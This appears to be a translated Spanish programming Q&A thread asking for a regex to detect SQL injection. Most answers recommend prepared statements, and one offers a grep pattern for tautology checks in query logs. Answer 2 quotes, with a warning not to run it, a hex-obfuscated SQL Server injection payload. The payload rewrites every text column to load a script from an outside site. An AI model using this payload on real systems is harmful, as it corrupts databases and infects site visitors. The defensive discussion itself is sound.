RegEx para detectar inyección SQL

Question

¿Existe una expresión regular que pueda detectar SQL en una cadena?¿Alguien tiene una muestra de algo que haya usado antes para compartir?

Answer 1

No lo hagas.Está prácticamente garantizado que fracasará.Usar PreparedStatement (o su equivalente) en su lugar.

Answer 2

use procesos almacenados o declaraciones preparadas, ¿cómo detectará algo como esto?Por cierto, NO ejecutes eso

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

Answer 3

Ahórrese problemas y utilice procedimientos almacenados con declaraciones preparadas o consultas parametrizadas.Los procedimientos almacenados son una buena práctica de todos modos, ya que actúan como una interfaz para la base de datos, por lo que puedes cambiar lo que sucede detrás de escena (dentro del proceso almacenado), pero la firma sigue siendo la misma.Las declaraciones preparadas ayudan a cuidar la protección de las inyecciones.

Answer 4

No tengo una expresión regular, pero tengo entendido que lo más importante es detectar la comilla simple.Todos los ataques de inyección comienzan desde ahí.Probablemente también tengan -- allí para comentar y otro SQL que podría estar después de la cadena.

Answer 5

Como ya hemos dicho, es mejor utilizar declaraciones preparadas.Se podría argumentar que se obliga a que las consultas clave se ejecuten mediante un procedimiento almacenado para forzar el uso de la preparación de la llamada.

De todos modos, aquí hay un grep simple para detectar el entero n=n clásico en cláusulas donde;omite marcar el 1=1 utilizado por muchos constructores de consultas diferidas para AND, pero lo marcará para OR

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4

Por supuesto, podría mejorarse para detectar comparaciones de cadenas y decimales, pero era un mecanismo de detección rápido, junto con otros greps como ORD(MID(, etc.).

Úselo en un registro de consultas, como el registro general de MySQL.

Espero que sea útil